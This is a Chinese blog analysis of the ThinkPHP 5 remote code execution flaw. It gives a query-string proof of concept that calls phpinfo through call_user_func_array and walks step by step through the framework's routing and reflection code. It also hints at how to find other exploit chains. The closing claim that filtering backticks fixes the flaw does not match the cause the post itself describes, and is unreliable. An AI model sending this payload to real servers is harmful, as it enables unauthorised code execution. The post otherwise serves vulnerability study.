内容简介:迟到的关于年末爆出的tp5的RCE的分析文章。我们先来分析以下的poc分析一个MVC的框架首先最重要的一步就是要搞清楚这个框架的路由规则。我们从
迟到的关于年末爆出的tp5的RCE的分析文章。
我们先来分析以下的poc
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
分析一个MVC的框架首先最重要的一步就是要搞清楚这个框架的路由规则。我们从 index.php
开始,
define('APP_PATH', __DIR__ . '/../application/'); // 加载框架引导文件 require __DIR__ . '/../thinkphp/start.php';
直接require了 ./../thinkphp/start.php
,跟入该文件
<?php // +---------------------------------------------------------------------- // | ThinkPHP [ WE CAN DO IT JUST THINK ] // +---------------------------------------------------------------------- // | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved. // +---------------------------------------------------------------------- // | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 ) // +---------------------------------------------------------------------- // | Author: liu21st <liu21st@gmail.com> // +---------------------------------------------------------------------- namespace think; // ThinkPHP 引导文件 // 1. 加载基础文件 require __DIR__ . '/base.php'; // 2. 执行应用 App::run()->send();
进入 App.php
的 run()
方法,该方法的实现主要步骤可简化为:
public static function run(Request $request = null) { $request = is_null($request) ? Request::instance() : $request; try { /* ... */ $dispatch = self::$dispatch; // 未设置调度信息则进行 URL 路由检测 if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); } /* ... */ $data = self::exec($dispatch, $config); } catch (HttpResponseException $exception) { $data = $exception->getResponse(); } /* ... */ return $response; }
路由检测位于 routeCheck($request,$config)
中,跟入该函数
public static function routeCheck($request, array $config) { $path = $request->path(); $depr = $config['pathinfo_depr']; $result = false; // 路由检测 ... // 路由检测(根据路由定义返回不同的URL调度) $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); $must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']; if ($must && false === $result) { // 路由无效 throw new RouteNotFoundException(); } } // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索 if (false === $result) { $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); } return $result; }
routeCheck函数中首先通过 $request->path()
获取了请求的path,跟进可知该值在允许兼容模式时可以通过 $_GET[Config::get('var_pathinfo')]
获取,默认情况下即 $_GET[s]
,因此我们的poc获取到的path即为 index/\think\app/invokefunction
。之后由于路由规则中并无此规则,则进入控制器自动搜索,即 Route::parseUrl($path, $depr, $config['controller_auto_search']);
跟进parseUrl可知thinkphp在处理路由时会用 /
分割path,对应分割结果分别匹配为模块|控制器|操作|操作参数,
因此最后获取到的路由为
回到 App.php
中,
$data = self::exec($dispatch, $config);
这行操作是整个RCE实现的关键。我们跟入 exec
方法的实现
protected static function exec($dispatch, $config) { switch ($dispatch['type']) { ... case 'module': // 模块/控制器/操作 $data = self::module( $dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null ); break; ... } return $data; }
跟入 module
方法
public static function module($result, $config, $convert = null) { if (is_string($result)) { $result = explode('/', $result); } $request = Request::instance(); ... // 获取控制器名 $controller = strip_tags($result[1] ?: $config['default_controller']); $controller = $convert ? strtolower($controller) : $controller; // 获取操作名 $actionName = strip_tags($result[2] ?: $config['default_action']); ... try { $instance = Loader::controller( $controller, $config['url_controller_layer'], $config['controller_suffix'], $config['empty_controller'] ); } catch (ClassNotFoundException $e) { throw new HttpException(404, 'controller not exists:' . $e->getClass()); }
进入 Loader::controller
方法
public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '') { list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix); if (class_exists($class)) { return App::invokeClass($class); } if ($empty) { $emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix); if (class_exists($emptyClass)) { return new $emptyClass(Request::instance()); } } throw new ClassNotFoundException('class not exists:' . $class, $class); }
跟入 App::invokeClass
方法,
public static function invokeClass($class, $vars = []) { $reflect = new \ReflectionClass($class); $constructor = $reflect->getConstructor(); $args = $constructor ? self::bindParams($constructor, $vars) : []; return $reflect->newInstanceArgs($args); }
该方法使用 php 的反射机制返回指定类的一个对象,因此由我们的poc, Loader::controller
返回了 \think\app
类的一个实例。
继续回到 App::module
方法
$action = $actionName . $config['action_suffix']; $vars = []; if (is_callable([$instance, $action])) { // 执行操作方法 $call = [$instance, $action]; // 严格获取当前操作方法名 $reflect = new \ReflectionMethod($instance, $action); $methodName = $reflect->getName(); $suffix = $config['action_suffix']; $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; $request->action($actionName); } elseif (is_callable([$instance, '_empty'])) { // 空操作 $call = [$instance, '_empty']; $vars = [$actionName]; } else { // 操作不存在 throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()'); } Hook::listen('action_begin', $call); return self::invokeMethod($call, $vars); }
可以看到 App::module
方法之后会判断之前生成的实例是否有对应的方法,存在的话便会设置 $call
变量为 [\think\App类的实例,'invokefunction']
,最后调用 self::invokeMethod($call,$vars)
。跟入该方法
public static function invokeMethod($method, $vars = []) { if (is_array($method)) { $class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]); $reflect = new \ReflectionMethod($class, $method[1]); } else { // 静态方法 $reflect = new \ReflectionMethod($method); } $args = self::bindParams($reflect, $vars); self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info'); return $reflect->invokeArgs(isset($class) ? $class : null, $args); }
跟入 self::bindParams
,该方法用于获取最后执行的函数的参数
private static function bindParams($reflect, $vars = []) { // 自动获取请求变量 if (empty($vars)) { $vars = Config::get('url_param_type') ? Request::instance()->route() : Request::instance()->param(); } $args = []; if ($reflect->getNumberOfParameters() > 0) { // 判断数组类型 数字数组时按顺序绑定参数 reset($vars); $type = key($vars) === 0 ? 1 : 0; foreach ($reflect->getParameters() as $param) { $args[] = self::getParamValue($param, $vars, $type); } } return $args; }
默认情况下 Config::get('url_param_type')
为0,因此 $vars
被设置为 Request::instance()->param()
,在我们的poc中 $vars
即
即为我们的请求参数。之后通过判断 $reflect
的方法中需要的参数最后返回参数列表 $args
回到 invokeMethod
方法,
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
这里调用了 $reflect
的 invokeArgs
方法,即通过反射调用 /think/App
类的 invokefunction
方法。
public static function invokeFunction($function, $vars = []) { $reflect = new \ReflectionFunction($function); $args = self::bindParams($reflect, $vars); // 记录执行信息 self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info'); return $reflect->invokeArgs($args); }
可以看到最后 invokeFunction()
相当于直接调用 call_user_func_array("phpinfo",[1])
可见整个RCE的原因便是由于thinkphp在获取控制器时过滤不足导致可以任意生成类的实例调用指定的方法而导致的。怎样获取其他的可用的RCE的poc?我们可以在 Loader::controller
方法中添加一行代码:
$t=get_declared_classes();
在这行代码后的代码处下断点调试
可以看到这些类都是tp中可用的用来RCE的类,我们只需要再多研究便可发现其他的利用链。
修复方法也是很简单粗暴,只需要过滤掉反引号即可。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 使用动态分析技术分析 Java
- 使用动态分析技术分析 Java
- 案例分析:如何进行需求分析?
- 深度分析ConcurrentHashMap原理分析
- 如何分析“数据分析师”的岗位?
- EOS源码分析(3)案例分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
产品经理的20堂必修课
徐建极 / 人民邮电出版社 / 2013-9-1 / 59.00元
《产品经理的20堂必修课》以作者八年的产品经理工作实践为基础,通过系统的理论结合丰富的实例的方法,全面地总结了作为一名互联网产品经理所应掌握的知识。 《产品经理的20堂必修课》分为三大部分。 讲产品:深入剖析互联网产品成功的要素,分别从需求导向、简单原则、产品运营、战略布局等维度,分析如何让产品在残酷的互联网竞争中脱颖而出。 讲方法:着重分析优秀的产品团队运作的工作方法和程序,详......一起来看看 《产品经理的20堂必修课》 这本书的介绍吧!